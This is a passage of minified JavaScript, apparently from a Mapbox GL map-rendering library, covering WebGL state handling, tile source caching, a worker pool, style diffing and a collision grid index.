ge(this),this.clearStencil=new Te(this),this.colorMask=new Fe(this),this.depthMask=new Oe(this),this.stencilMask=new Ce(this),this.stencilFunc=new Be(this),this.stencilOp=new $e(this),this.stencilTest=new Xe(this),this.depthRange=new Ze(this),this.depthTest=new Ke(this),this.depthFunc=new st(this),this.blend=new lt(this),this.blendFunc=new ut(this),this.blendColor=new yt(this),this.blendEquation=new bt(this),this.cullFace=new Ot(this),this.cullFaceSide=new Ge(this),this.frontFace=new Le(this),this.program=new Pe(this),this.activeTexture=new De(this),this.viewport=new Ee(this),this.bindFramebuffer=new ye(this),this.bindRenderbuffer=new ae(this),this.bindTexture=new de(this),this.bindVertexBuffer=new Me(this),this.bindElementBuffer=new Ie(this),this.bindVertexArrayOES=this.extVertexArrayObject&&new Qe(this),this.pixelStoreUnpack=new et(this),this.pixelStoreUnpackPremultiplyAlpha=new pt(this),this.pixelStoreUnpackFlipY=new St(this),this.extTextureFilterAnisotropic=H.getExtension("EXT_texture_filter_anisotropic")||H.getExtension("MOZ_EXT_texture_filter_anisotropic")||H.getExtension("WEBKIT_EXT_texture_filter_anisotropic"),this.extTextureFilterAnisotropic&&(this.extTextureFilterAnisotropicMax=H.getParameter(this.extTextureFilterAnisotropic.MAX_TEXTURE_MAX_ANISOTROPY_EXT)),this.extTextureHalfFloat=H.getExtension("OES_texture_half_float"),this.extTextureHalfFloat&&(H.getExtension("OES_texture_half_float_linear"),this.extRenderToTextureHalfFloat=H.getExtension("EXT_color_buffer_half_float")),this.extTimerQuery=H.getExtension("EXT_disjoint_timer_query")};mt.prototype.setDefault=function(){this.unbindVAO(),this.clearColor.setDefault(),this.clearDepth.setDefault(),this.clearStencil.setDefault(),this.colorMask.setDefault(),this.depthMask.setDefault(),this.stencilMask.setDefault(),this.stencilFunc.setDefault(),this.stencilOp.setDefault(),this.stencilTest.setDefault(),this.depthRange.setDefault(),this.depthTest.setDefault(),this.depthFunc.setDefault(),this.blend.setDefault(),this.blendFunc.setDefault(),this.blendColor.setDefault(),this.blendEquation.setDefault(),this.cullFace.setDefault(),this.cullFaceSide.setDefault(),this.frontFace.setDefault(),this.program.setDefault(),this.activeTexture.setDefault(),this.bindFramebuffer.setDefault(),this.pixelStoreUnpack.setDefault(),this.pixelStoreUnpackPremultiplyAlpha.setDefault(),this.pixelStoreUnpackFlipY.setDefault()},mt.prototype.setDirty=function(){this.clearColor.dirty=!0,this.clearDepth.dirty=!0,this.clearStencil.dirty=!0,this.colorMask.dirty=!0,this.depthMask.dirty=!0,this.stencilMask.dirty=!0,this.stencilFunc.dirty=!0,this.stencilOp.dirty=!0,this.stencilTest.dirty=!0,this.depthRange.dirty=!0,this.depthTest.dirty=!0,this.depthFunc.dirty=!0,this.blend.dirty=!0,this.blendFunc.dirty=!0,this.blendColor.dirty=!0,this.blendEquation.dirty=!0,this.cullFace.dirty=!0,this.cullFaceSide.dirty=!0,this.frontFace.dirty=!0,this.program.dirty=!0,this.activeTexture.dirty=!0,this.viewport.dirty=!0,this.bindFramebuffer.dirty=!0,this.bindRenderbuffer.dirty=!0,this.bindTexture.dirty=!0,this.bindVertexBuffer.dirty=!0,this.bindElementBuffer.dirty=!0,this.extVertexArrayObject&&(this.bindVertexArrayOES.dirty=!0),this.pixelStoreUnpack.dirty=!0,this.pixelStoreUnpackPremultiplyAlpha.dirty=!0,this.pixelStoreUnpackFlipY.dirty=!0},mt.prototype.createIndexBuffer=function(H,he){return new we(this,H,he)},mt.prototype.createVertexBuffer=function(H,he,$){return new ke(this,H,he,$)},mt.prototype.createRenderbuffer=function(H,he,$){var ve=this.gl,Re=ve.createRenderbuffer();return this.bindRenderbuffer.set(Re),ve.renderbufferStorage(ve.RENDERBUFFER,H,he,$),this.bindRenderbuffer.set(null),Re},mt.prototype.createFramebuffer=function(H,he,$){return new Gt(this,H,he,$)},mt.prototype.clear=function(H){var he=H.color,$=H.depth,ve=this.gl,Re=0;he&&(Re|=ve.COLOR_BUFFER_BIT,this.clearColor.set(he),this.colorMask.set([!0,!0,!0,!0])),typeof $<"u"&&(Re|=ve.DEPTH_BUFFER_BIT,this.depthRange.set([0,1]),this.clearDepth.set($),this.depthMask.set(!0)),ve.clear(Re)},mt.prototype.setCullFace=function(H){H.enable===!1?this.cullFace.set(!1):(this.cullFace.set(!0),this.cullFaceSide.set(H.mode),this.frontFace.set(H.frontFace))},mt.prototype.setDepthMode=function(H){H.func===this.gl.ALWAYS&&!H.mask?this.depthTest.set(!1):(this.depthTest.set(!0),this.depthFunc.set(H.func),this.depthMask.set(H.mask),this.depthRange.set(H.range))},mt.prototype.setStencilMode=function(H){H.test.func===this.gl.ALWAYS&&!H.mask?this.stencilTest.set(!1):(this.stencilTest.set(!0),this.stencilMask.set(H.mask),this.stencilOp.set([H.fail,H.depthFail,H.pass]),this.stencilFunc.set({func:H.test.func,ref:H.ref,mask:H.test.mask}))},mt.prototype.setColorMode=function(H){o.deepEqual(H.blendFunction,rt.Replace)?this.blend.set(!1):(this.blend.set(!0),this.blendFunc.set(H.blendFunction),this.blendColor.set(H.blendColor)),this.colorMask.set(H.mask)},mt.prototype.unbindVAO=function(){this.extVertexArrayObject&&this.bindVertexArrayOES.set(null)};var Pt=function(ue){function H(he,$,ve){var Re=this;ue.call(this),this.id=he,this.dispatcher=ve,this.on("data",function(He){He.dataType==="source"&&He.sourceDataType==="metadata"&&(Re._sourceLoaded=!0),Re._sourceLoaded&&!Re._paused&&He.dataType==="source"&&He.sourceDataType==="content"&&(Re.reload(),Re.transform&&Re.update(Re.transform))}),this.on("error",function(){Re._sourceErrored=!0}),this._source=W(he,$,ve,this),this._tiles={},this._cache=new pe(0,this._unloadTile.bind(this)),this._timers={},this._cacheTimers={},this._maxTileCacheSize=null,this._loadedParentTiles={},this._coveredTiles={},this._state=new o.SourceFeatureState}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.onAdd=function($){this.map=$,this._maxTileCacheSize=$?$._maxTileCacheSize:null,this._source&&this._source.onAdd&&this._source.onAdd($)},H.prototype.onRemove=function($){this._source&&this._source.onRemove&&this._source.onRemove($)},H.prototype.loaded=function(){if(this._sourceErrored)return!0;if(!this._sourceLoaded||!this._source.loaded())return!1;for(var $ in this._tiles){var ve=this._tiles[$];if(ve.state!=="loaded"&&ve.state!=="errored")return!1}return!0},H.prototype.getSource=function(){return this._source},H.prototype.pause=function(){this._paused=!0},H.prototype.resume=function(){if(this._paused){var $=this._shouldReloadOnResume;this._paused=!1,this._shouldReloadOnResume=!1,$&&this.reload(),this.transform&&this.update(this.transform)}},H.prototype._loadTile=function($,ve){return this._source.loadTile($,ve)},H.prototype._unloadTile=function($){if(this._source.unloadTile)return this._source.unloadTile($,function(){})},H.prototype._abortTile=function($){if(this._source.abortTile)return this._source.abortTile($,function(){})},H.prototype.serialize=function(){return this._source.serialize()},H.prototype.prepare=function($){this._source.prepare&&this._source.prepare(),this._state.coalesceChanges(this._tiles,this.map?this.map.painter:null);for(var ve in this._tiles){var Re=this._tiles[ve];Re.upload($),Re.prepare(this.map.style.imageManager)}},H.prototype.getIds=function(){return o.values(this._tiles).map(function($){return $.tileID}).sort(zt).map(function($){return $.key})},H.prototype.getRenderableIds=function($){var ve=this,Re=[];for(var He in this._tiles)this._isIdRenderable(He,$)&&Re.push(this._tiles[He]);return $?Re.sort(function(tt,ht){var Dt=tt.tileID,Wt=ht.tileID,ar=new o.Point(Dt.canonical.x,Dt.canonical.y)._rotate(ve.transform.angle),hr=new o.Point(Wt.canonical.x,Wt.canonical.y)._rotate(ve.transform.angle);return Dt.overscaledZ-Wt.overscaledZ||hr.y-ar.y||hr.x-ar.x}).map(function(tt){return tt.tileID.key}):Re.map(function(tt){return tt.tileID}).sort(zt).map(function(tt){return tt.key})},H.prototype.hasRenderableParent=function($){var ve=this.findLoadedParent($,0);return ve?this._isIdRenderable(ve.tileID.key):!1},H.prototype._isIdRenderable=function($,ve){return this._tiles[$]&&this._tiles[$].hasData()&&!this._coveredTiles[$]&&(ve||!this._tiles[$].holdingForFade())},H.prototype.reload=function(){if(this._paused){this._shouldReloadOnResume=!0;return}this._cache.reset();for(var $ in this._tiles)this._tiles[$].state!=="errored"&&this._reloadTile($,"reloading")},H.prototype._reloadTile=function($,ve){var Re=this._tiles[$];Re&&(Re.state!=="loading"&&(Re.state=ve),this._loadTile(Re,this._tileLoaded.bind(this,Re,$,ve)))},H.prototype._tileLoaded=function($,ve,Re,He){if(He){$.state="errored",He.status!==404?this._source.fire(new o.ErrorEvent(He,{tile:$})):this.update(this.transform);return}$.timeAdded=o.browser.now(),Re==="expired"&&($.refreshedUponExpiration=!0),this._setTileReloadTimer(ve,$),this.getSource().type==="raster-dem"&&$.dem&&this._backfillDEM($),this._state.initializeTileState($,this.map?this.map.painter:null),this._source.fire(new o.Event("data",{dataType:"source",tile:$,coord:$.tileID}))},H.prototype._backfillDEM=function($){for(var ve=this.getRenderableIds(),Re=0;Re<ve.length;Re++){var He=ve[Re];if($.neighboringTiles&&$.neighboringTiles[He]){var tt=this.getTileByID(He);ht($,tt),ht(tt,$)}}function ht(Dt,Wt){Dt.needsHillshadePrepare=!0;var ar=Wt.tileID.canonical.x-Dt.tileID.canonical.x,hr=Wt.tileID.canonical.y-Dt.tileID.canonical.y,Er=Math.pow(2,Dt.tileID.canonical.z),Fr=Wt.tileID.key;ar===0&&hr===0||Math.abs(hr)>1||(Math.abs(ar)>1&&(Math.abs(ar+Er)===1?ar+=Er:Math.abs(ar-Er)===1&&(ar-=Er)),!(!Wt.dem||!Dt.dem)&&(Dt.dem.backfillBorder(Wt.dem,ar,hr),Dt.neighboringTiles&&Dt.neighboringTiles[Fr]&&(Dt.neighboringTiles[Fr].backfilled=!0)))}},H.prototype.getTile=function($){return this.getTileByID($.key)},H.prototype.getTileByID=function($){return this._tiles[$]},H.prototype._retainLoadedChildren=function($,ve,Re,He){for(var tt in this._tiles){var ht=this._tiles[tt];if(!(He[tt]||!ht.hasData()||ht.tileID.overscaledZ<=ve||ht.tileID.overscaledZ>Re)){for(var Dt=ht.tileID;ht&&ht.tileID.overscaledZ>ve+1;){var Wt=ht.tileID.scaledTo(ht.tileID.overscaledZ-1);ht=this._tiles[Wt.key],ht&&ht.hasData()&&(Dt=Wt)}for(var ar=Dt;ar.overscaledZ>ve;)if(ar=ar.scaledTo(ar.overscaledZ-1),$[ar.key]){He[Dt.key]=Dt;break}}}},H.prototype.findLoadedParent=function($,ve){if($.key in this._loadedParentTiles){var Re=this._loadedParentTiles[$.key];return Re&&Re.tileID.overscaledZ>=ve?Re:null}for(var He=$.overscaledZ-1;He>=ve;He--){var tt=$.scaledTo(He),ht=this._getLoadedTile(tt);if(ht)return ht}},H.prototype._getLoadedTile=function($){var ve=this._tiles[$.key];if(ve&&ve.hasData())return ve;var Re=this._cache.getByKey($.wrapped().key);return Re},H.prototype.updateCacheSize=function($){var ve=Math.ceil($.width/this._source.tileSize)+1,Re=Math.ceil($.height/this._source.tileSize)+1,He=ve*Re,tt=5,ht=Math.floor(He*tt),Dt=typeof this._maxTileCacheSize=="number"?Math.min(this._maxTileCacheSize,ht):ht;this._cache.setMaxSize(Dt)},H.prototype.handleWrapJump=function($){var ve=this._prevLng===void 0?$:this._prevLng,Re=$-ve,He=Re/360,tt=Math.round(He);if(this._prevLng=$,tt){var ht={};for(var Dt in this._tiles){var Wt=this._tiles[Dt];Wt.tileID=Wt.tileID.unwrapTo(Wt.tileID.wrap+tt),ht[Wt.tileID.key]=Wt}this._tiles=ht;for(var ar in this._timers)clearTimeout(this._timers[ar]),delete this._timers[ar];for(var hr in this._tiles){var Er=this._tiles[hr];this._setTileReloadTimer(hr,Er)}}},H.prototype.update=function($){var ve=this;if(this.transform=$,!(!this._sourceLoaded||this._paused)){this.updateCacheSize($),this.handleWrapJump(this.transform.center.lng),this._coveredTiles={};var Re;this.used?this._source.tileID?Re=$.getVisibleUnwrappedCoordinates(this._source.tileID).map(function(ra){return new o.OverscaledTileID(ra.canonical.z,ra.wrap,ra.canonical.z,ra.canonical.x,ra.canonical.y)}):(Re=$.coveringTiles({tileSize:this._source.tileSize,minzoom:this._source.minzoom,maxzoom:this._source.maxzoom,roundZoom:this._source.roundZoom,reparseOverscaled:this._source.reparseOverscaled}),this._source.hasTile&&(Re=Re.filter(function(ra){return ve._source.hasTile(ra)}))):Re=[];var He=$.coveringZoomLevel(this._source),tt=Math.max(He-H.maxOverzooming,this._source.minzoom),ht=Math.max(He+H.maxUnderzooming,this._source.minzoom),Dt=this._updateRetainedTiles(Re,He);if(Xt(this._source.type)){for(var Wt={},ar={},hr=Object.keys(Dt),Er=0,Fr=hr;Er<Fr.length;Er+=1){var Or=Fr[Er],zr=Dt[Or],Yr=this._tiles[Or];if(!(!Yr||Yr.fadeEndTime&&Yr.fadeEndTime<=o.browser.now())){var en=this.findLoadedParent(zr,tt);en&&(this._addTile(en.tileID),Wt[en.tileID.key]=en.tileID),ar[Or]=zr}}this._retainLoadedChildren(ar,He,ht,Dt);for(var xn in Wt)Dt[xn]||(this._coveredTiles[xn]=!0,Dt[xn]=Wt[xn])}for(var Pn in Dt)this._tiles[Pn].clearFadeHold();for(var Bn=o.keysDifference(this._tiles,Dt),Un=0,Nn=Bn;Un<Nn.length;Un+=1){var jn=Nn[Un],na=this._tiles[jn];na.hasSymbolBuckets&&!na.holdingForFade()?na.setHoldDuration(this.map._fadeDuration):(!na.hasSymbolBuckets||na.symbolFadeFinished())&&this._removeTile(jn)}this._updateLoadedParentTileCache()}},H.prototype.releaseSymbolFadeTiles=function(){for(var $ in this._tiles)this._tiles[$].holdingForFade()&&this._removeTile($)},H.prototype._updateRetainedTiles=function($,ve){for(var Re={},He={},tt=Math.max(ve-H.maxOverzooming,this._source.minzoom),ht=Math.max(ve+H.maxUnderzooming,this._source.minzoom),Dt={},Wt=0,ar=$;Wt<ar.length;Wt+=1){var hr=ar[Wt],Er=this._addTile(hr);Re[hr.key]=hr,!Er.hasData()&&ve<this._source.maxzoom&&(Dt[hr.key]=hr)}this._retainLoadedChildren(Dt,ve,ht,Re);for(var Fr=0,Or=$;Fr<Or.length;Fr+=1){var zr=Or[Fr],Yr=this._tiles[zr.key];if(!Yr.hasData()){if(ve+1>this._source.maxzoom){var en=zr.children(this._source.maxzoom)[0],xn=this.getTile(en);if(xn&&xn.hasData()){Re[en.key]=en;continue}}else{var Pn=zr.children(this._source.maxzoom);if(Re[Pn[0].key]&&Re[Pn[1].key]&&Re[Pn[2].key]&&Re[Pn[3].key])continue}for(var Bn=Yr.wasRequested(),Un=zr.overscaledZ-1;Un>=tt;--Un){var Nn=zr.scaledTo(Un);if(He[Nn.key]||(He[Nn.key]=!0,Yr=this.getTile(Nn),!Yr&&Bn&&(Yr=this._addTile(Nn)),Yr&&(Re[Nn.key]=Nn,Bn=Yr.wasRequested(),Yr.hasData())))break}}}return Re},H.prototype._updateLoadedParentTileCache=function(){this._loadedParentTiles={};for(var $ in this._tiles){for(var ve=[],Re=void 0,He=this._tiles[$].tileID;He.overscaledZ>0;){if(He.key in this._loadedParentTiles){Re=this._loadedParentTiles[He.key];break}ve.push(He.key);var tt=He.scaledTo(He.overscaledZ-1);if(Re=this._getLoadedTile(tt),Re)break;He=tt}for(var ht=0,Dt=ve;ht<Dt.length;ht+=1){var Wt=Dt[ht];this._loadedParentTiles[Wt]=Re}}},H.prototype._addTile=function($){var ve=this._tiles[$.key];if(ve)return ve;ve=this._cache.getAndRemove($),ve&&(this._setTileReloadTimer($.key,ve),ve.tileID=$,this._state.initializeTileState(ve,this.map?this.map.painter:null),this._cacheTimers[$.key]&&(clearTimeout(this._cacheTimers[$.key]),delete this._cacheTimers[$.key],this._setTileReloadTimer($.key,ve)));var Re=!!ve;return Re||(ve=new o.Tile($,this._source.tileSize*$.overscaleFactor()),this._loadTile(ve,this._tileLoaded.bind(this,ve,$.key,ve.state))),ve?(ve.uses++,this._tiles[$.key]=ve,Re||this._source.fire(new o.Event("dataloading",{tile:ve,coord:ve.tileID,dataType:"source"})),ve):null},H.prototype._setTileReloadTimer=function($,ve){var Re=this;$ in this._timers&&(clearTimeout(this._timers[$]),delete this._timers[$]);var He=ve.getExpiryTimeout();He&&(this._timers[$]=setTimeout(function(){Re._reloadTile($,"expired"),delete Re._timers[$]},He))},H.prototype._removeTile=function($){var ve=this._tiles[$];ve&&(ve.uses--,delete this._tiles[$],this._timers[$]&&(clearTimeout(this._timers[$]),delete this._timers[$]),!(ve.uses>0)&&(ve.hasData()&&ve.state!=="reloading"?this._cache.add(ve.tileID,ve,ve.getExpiryTimeout()):(ve.aborted=!0,this._abortTile(ve),this._unloadTile(ve))))},H.prototype.clearTiles=function(){this._shouldReloadOnResume=!1,this._paused=!1;for(var $ in this._tiles)this._removeTile($);this._cache.reset()},H.prototype.tilesIn=function($,ve,Re){var He=this,tt=[],ht=this.transform;if(!ht)return tt;for(var Dt=Re?ht.getCameraQueryGeometry($):$,Wt=$.map(function(Un){return ht.pointCoordinate(Un)}),ar=Dt.map(function(Un){return ht.pointCoordinate(Un)}),hr=this.getIds(),Er=1/0,Fr=1/0,Or=-1/0,zr=-1/0,Yr=0,en=ar;Yr<en.length;Yr+=1){var xn=en[Yr];Er=Math.min(Er,xn.x),Fr=Math.min(Fr,xn.y),Or=Math.max(Or,xn.x),zr=Math.max(zr,xn.y)}for(var Pn=function(Un){var Nn=He._tiles[hr[Un]];if(!Nn.holdingForFade()){var jn=Nn.tileID,na=Math.pow(2,ht.zoom-Nn.tileID.overscaledZ),ra=ve*Nn.queryPadding*o.EXTENT/Nn.tileSize/na,sa=[jn.getTilePoint(new o.MercatorCoordinate(Er,Fr)),jn.getTilePoint(new o.MercatorCoordinate(Or,zr))];if(sa[0].x-ra<o.EXTENT&&sa[0].y-ra<o.EXTENT&&sa[1].x+ra>=0&&sa[1].y+ra>=0){var ha=Wt.map(function(Da){return jn.getTilePoint(Da)}),Aa=ar.map(function(Da){return jn.getTilePoint(Da)});tt.push({tile:Nn,tileID:jn,queryGeometry:ha,cameraQueryGeometry:Aa,scale:na})}}},Bn=0;Bn<hr.length;Bn++)Pn(Bn);return tt},H.prototype.getVisibleCoordinates=function($){for(var ve=this,Re=this.getRenderableIds($).map(function(Dt){return ve._tiles[Dt].tileID}),He=0,tt=Re;He<tt.length;He+=1){var ht=tt[He];ht.posMatrix=this.transform.calculatePosMatrix(ht.toUnwrapped())}return Re},H.prototype.hasTransition=function(){if(this._source.hasTransition())return!0;if(Xt(this._source.type))for(var $ in this._tiles){var ve=this._tiles[$];if(ve.fadeEndTime!==void 0&&ve.fadeEndTime>=o.browser.now())return!0}return!1},H.prototype.setFeatureState=function($,ve,Re){$=$||"_geojsonTileLayer",this._state.updateState($,ve,Re)},H.prototype.removeFeatureState=function($,ve,Re){$=$||"_geojsonTileLayer",this._state.removeFeatureState($,ve,Re)},H.prototype.getFeatureState=function($,ve){return $=$||"_geojsonTileLayer",this._state.getState($,ve)},H.prototype.setDependencies=function($,ve,Re){var He=this._tiles[$];He&&He.setDependencies(ve,Re)},H.prototype.reloadTilesForDependencies=function($,ve){for(var Re in this._tiles){var He=this._tiles[Re];He.hasDependency($,ve)&&this._reloadTile(Re,"reloading")}this._cache.filter(function(tt){return!tt.hasDependency($,ve)})},H}(o.Evented);Pt.maxOverzooming=10,Pt.maxUnderzooming=3;function zt(ue,H){var he=Math.abs(ue.wrap*2)-+(ue.wrap<0),$=Math.abs(H.wrap*2)-+(H.wrap<0);return ue.overscaledZ-H.overscaledZ||$-he||H.canonical.y-ue.canonical.y||H.canonical.x-ue.canonical.x}function Xt(ue){return ue==="raster"||ue==="image"||ue==="video"}function Yt(){return new o.window.Worker(Cc.workerUrl)}var $t="mapboxgl_preloaded_worker_pool",yr=function(){this.active={}};yr.prototype.acquire=function(H){if(!this.workers)for(this.workers=[];this.workers.length<yr.workerCount;)this.workers.push(new Yt);return this.active[H]=!0,this.workers.slice()},yr.prototype.release=function(H){delete this.active[H],this.numActive()===0&&(this.workers.forEach(function(he){he.terminate()}),this.workers=null)},yr.prototype.isPreloaded=function(){return!!this.active[$t]},yr.prototype.numActive=function(){return Object.keys(this.active).length};var Ue=Math.floor(o.browser.hardwareConcurrency/2);yr.workerCount=Math.max(Math.min(Ue,6),1);var Ne;function Et(){return Ne||(Ne=new yr),Ne}function Lt(){var ue=Et();ue.acquire($t)}function Nt(){var ue=Ne;ue&&(ue.isPreloaded()&&ue.numActive()===1?(ue.release($t),Ne=null):console.warn("Could not clear WebWorkers since there are active Map instances that still reference it. The pre-warmed WebWorker pool can only be cleared when all map instances have been removed with map.remove()"))}function rr(ue,H){var he={};for(var $ in ue)$!=="ref"&&(he[$]=ue[$]);return o.refProperties.forEach(function(ve){ve in H&&(he[ve]=H[ve])}),he}function tr(ue){ue=ue.slice();for(var H=Object.create(null),he=0;he<ue.length;he++)H[ue[he].id]=ue[he];for(var $=0;$<ue.length;$++)"ref"in ue[$]&&(ue[$]=rr(ue[$],H[ue[$].ref]));return ue}function Jt(){var ue={},H=o.styleSpec.$version;for(var he in o.styleSpec.$root){var $=o.styleSpec.$root[he];if($.required){var ve=null;he==="version"?ve=H:$.type==="array"?ve=[]:ve={},ve!=null&&(ue[he]=ve)}}return ue}var It={setStyle:"setStyle",addLayer:"addLayer",removeLayer:"removeLayer",setPaintProperty:"setPaintProperty",setLayoutProperty:"setLayoutProperty",setFilter:"setFilter",addSource:"addSource",removeSource:"removeSource",setGeoJSONSourceData:"setGeoJSONSourceData",setLayerZoomRange:"setLayerZoomRange",setLayerProperty:"setLayerProperty",setCenter:"setCenter",setZoom:"setZoom",setBearing:"setBearing",setPitch:"setPitch",setSprite:"setSprite",setGlyphs:"setGlyphs",setTransition:"setTransition",setLight:"setLight"};function or(ue,H,he){he.push({command:It.addSource,args:[ue,H[ue]]})}function ur(ue,H,he){H.push({command:It.removeSource,args:[ue]}),he[ue]=!0}function fr(ue,H,he,$){ur(ue,he,$),or(ue,H,he)}function lr(ue,H,he){var $;for($ in ue[he])if(ue[he].hasOwnProperty($)&&$!=="data"&&!o.deepEqual(ue[he][$],H[he][$]))return!1;for($ in H[he])if(H[he].hasOwnProperty($)&&$!=="data"&&!o.deepEqual(ue[he][$],H[he][$]))return!1;return!0}function Nr(ue,H,he,$){ue=ue||{},H=H||{};var ve;for(ve in ue)ue.hasOwnProperty(ve)&&(H.hasOwnProperty(ve)||ur(ve,he,$));for(ve in H)H.hasOwnProperty(ve)&&(ue.hasOwnProperty(ve)?o.deepEqual(ue[ve],H[ve])||(ue[ve].type==="geojson"&&H[ve].type==="geojson"&&lr(ue,H,ve)?he.push({command:It.setGeoJSONSourceData,args:[ve,H[ve].data]}):fr(ve,H,he,$)):or(ve,H,he))}function Rr(ue,H,he,$,ve,Re){ue=ue||{},H=H||{};var He;for(He in ue)ue.hasOwnProperty(He)&&(o.deepEqual(ue[He],H[He])||he.push({command:Re,args:[$,He,H[He],ve]}));for(He in H)!H.hasOwnProperty(He)||ue.hasOwnProperty(He)||o.deepEqual(ue[He],H[He])||he.push({command:Re,args:[$,He,H[He],ve]})}function Cr(ue){return ue.id}function vn(ue,H){return ue[H.id]=H,ue}function Ur(ue,H,he){ue=ue||[],H=H||[];var $=ue.map(Cr),ve=H.map(Cr),Re=ue.reduce(vn,{}),He=H.reduce(vn,{}),tt=$.slice(),ht=Object.create(null),Dt,Wt,ar,hr,Er,Fr,Or;for(Dt=0,Wt=0;Dt<$.length;Dt++)ar=$[Dt],He.hasOwnProperty(ar)?Wt++:(he.push({command:It.removeLayer,args:[ar]}),tt.splice(tt.indexOf(ar,Wt),1));for(Dt=0,Wt=0;Dt<ve.length;Dt++)ar=ve[ve.length-1-Dt],tt[tt.length-1-Dt]!==ar&&(Re.hasOwnProperty(ar)?(he.push({command:It.removeLayer,args:[ar]}),tt.splice(tt.lastIndexOf(ar,tt.length-Wt),1)):Wt++,Fr=tt[tt.length-Dt],he.push({command:It.addLayer,args:[He[ar],Fr]}),tt.splice(tt.length-Dt,0,ar),ht[ar]=!0);for(Dt=0;Dt<ve.length;Dt++)if(ar=ve[Dt],hr=Re[ar],Er=He[ar],!(ht[ar]||o.deepEqual(hr,Er))){if(!o.deepEqual(hr.source,Er.source)||!o.deepEqual(hr["source-layer"],Er["source-layer"])||!o.deepEqual(hr.type,Er.type)){he.push({command:It.removeLayer,args:[ar]}),Fr=tt[tt.lastIndexOf(ar)+1],he.push({command:It.addLayer,args:[Er,Fr]});continue}Rr(hr.layout,Er.layout,he,ar,null,It.setLayoutProperty),Rr(hr.paint,Er.paint,he,ar,null,It.setPaintProperty),o.deepEqual(hr.filter,Er.filter)||he.push({command:It.setFilter,args:[ar,Er.filter]}),(!o.deepEqual(hr.minzoom,Er.minzoom)||!o.deepEqual(hr.maxzoom,Er.maxzoom))&&he.push({command:It.setLayerZoomRange,args:[ar,Er.minzoom,Er.maxzoom]});for(Or in hr)hr.hasOwnProperty(Or)&&(Or==="layout"||Or==="paint"||Or==="filter"||Or==="metadata"||Or==="minzoom"||Or==="maxzoom"||(Or.indexOf("paint.")===0?Rr(hr[Or],Er[Or],he,ar,Or.slice(6),It.setPaintProperty):o.deepEqual(hr[Or],Er[Or])||he.push({command:It.setLayerProperty,args:[ar,Or,Er[Or]]})));for(Or in Er)!Er.hasOwnProperty(Or)||hr.hasOwnProperty(Or)||Or==="layout"||Or==="paint"||Or==="filter"||Or==="metadata"||Or==="minzoom"||Or==="maxzoom"||(Or.indexOf("paint.")===0?Rr(hr[Or],Er[Or],he,ar,Or.slice(6),It.setPaintProperty):o.deepEqual(hr[Or],Er[Or])||he.push({command:It.setLayerProperty,args:[ar,Or,Er[Or]]}))}}function Mn(ue,H){if(!ue)return[{command:It.setStyle,args:[H]}];var he=[];try{if(!o.deepEqual(ue.version,H.version))return[{command:It.setStyle,args:[H]}];o.deepEqual(ue.center,H.center)||he.push({command:It.setCenter,args:[H.center]}),o.deepEqual(ue.zoom,H.zoom)||he.push({command:It.setZoom,args:[H.zoom]}),o.deepEqual(ue.bearing,H.bearing)||he.push({command:It.setBearing,args:[H.bearing]}),o.deepEqual(ue.pitch,H.pitch)||he.push({command:It.setPitch,args:[H.pitch]}),o.deepEqual(ue.sprite,H.sprite)||he.push({command:It.setSprite,args:[H.sprite]}),o.deepEqual(ue.glyphs,H.glyphs)||he.push({command:It.setGlyphs,args:[H.glyphs]}),o.deepEqual(ue.transition,H.transition)||he.push({command:It.setTransition,args:[H.transition]}),o.deepEqual(ue.light,H.light)||he.push({command:It.setLight,args:[H.light]});var $={},ve=[];Nr(ue.sources,H.sources,ve,$);var Re=[];ue.layers&&ue.layers.forEach(function(He){$[He.source]?he.push({command:It.removeLayer,args:[He.id]}):Re.push(He)}),he=he.concat(ve),Ur(Re,H.layers,he)}catch(He){console.warn("Unable to compute style diff:",He),he=[{command:It.setStyle,args:[H]}]}return he}var Sn=function(H,he){this.reset(H,he)};Sn.prototype.reset=function(H,he){this.points=H||[],this._distances=[0];for(var $=1;$<this.points.length;$++)this._distances[$]=this._distances[$-1]+this.points[$].dist(this.points[$-1]);this.length=this._distances[this._distances.length-1],this.padding=Math.min(he||0,this.length*.5),this.paddedLength=this.length-this.padding*2},Sn.prototype.lerp=function(H){if(this.points.length===1)return this.points[0];H=o.clamp(H,0,1);for(var he=1,$=this._distances[he],ve=H*this.paddedLength+this.padding;$<ve&&he<this._distances.length;)$=this._distances[++he];var Re=he-1,He=this._distances[Re],tt=$-He,ht=tt>0?(ve-He)/tt:0;return this.points[Re].mult(1-ht).add(this.points[he].mult(ht))};var nr=function(H,he,$){var ve=this.boxCells=[],Re=this.circleCells=[];this.xCellCount=Math.ceil(H/$),this.yCellCount=Math.ceil(he/$);for(var He=0;He<this.xCellCount*this.yCellCount;He++)ve.push([]),Re.push([]);this.circleKeys=[],this.boxKeys=[],this.bboxes=[],this.circles=[],this.width=H,this.height=he,this.xScale=this.xCellCount/H,this.yScale=this.yCellCount/he,this.boxUid=0,this.circleUid=0};nr.prototype.keysLength=function(){return this.boxKeys.length+this.circleKeys.length},nr.prototype.insert=function(H,he,$,ve,Re){this._forEachCell(he,$,ve,Re,this._insertBoxCell,this.boxUid++),this.boxKeys.push(H),this.bboxes.push(he),this.bboxes.push($),this.bboxes.push(ve),this.bboxes.push(Re)},nr.prototype.insertCircle=function(H,he,$,ve){this._forEachCell(he-ve,$-ve,he+ve,$+ve,this._insertCircleCell,this.circleUid++),this.circleKeys.push(H),this.circles.push(he),this.circles.push($),this.circles.push(ve)},nr.prototype._insertBoxCell=function(H,he,$,ve,Re,He){this.boxCells[Re].push(He)},nr.prototype._insertCircleCell=function(H,he,$,ve,Re,He){this.circleCells[Re].push(He)},nr.prototype._query=function(H,he,$,ve,Re,He){if($<0||H>this.width||ve<0||he>this.height)return Re?!1:[];var tt=[];if(H<=0&&he<=0&&this.width<=$&&this.height<=ve){if(Re)return!0;for(var ht=0;ht<this.boxKeys.length;ht++)tt.push({key:this.boxKeys[ht],x1:this.bboxes[ht*4],y1:this.bboxes[ht*4+1],x2:this.bboxes[ht*4+2],y2:this.bboxes[ht*4+3]});for(var Dt=0;Dt<this.circleKeys.length;Dt++){var Wt=this.circles[Dt*3],ar=this.circles[Dt*3+1],hr=this.circles[Dt*3+2];tt.push({key:this.circleKeys[Dt],x1:Wt-hr,y1:ar-hr,x2:Wt+hr,y2:ar+hr})}return He?tt.filter(He):tt}else{var Er={hitTest:Re,seenUids:{box:{},circle:{}}};return this._forEachCell(H,he,$,ve,this._queryCell,tt,Er,He),Re?tt.length>0:tt}},nr.prototype._queryCircle=function(H,he,$,ve,Re){var 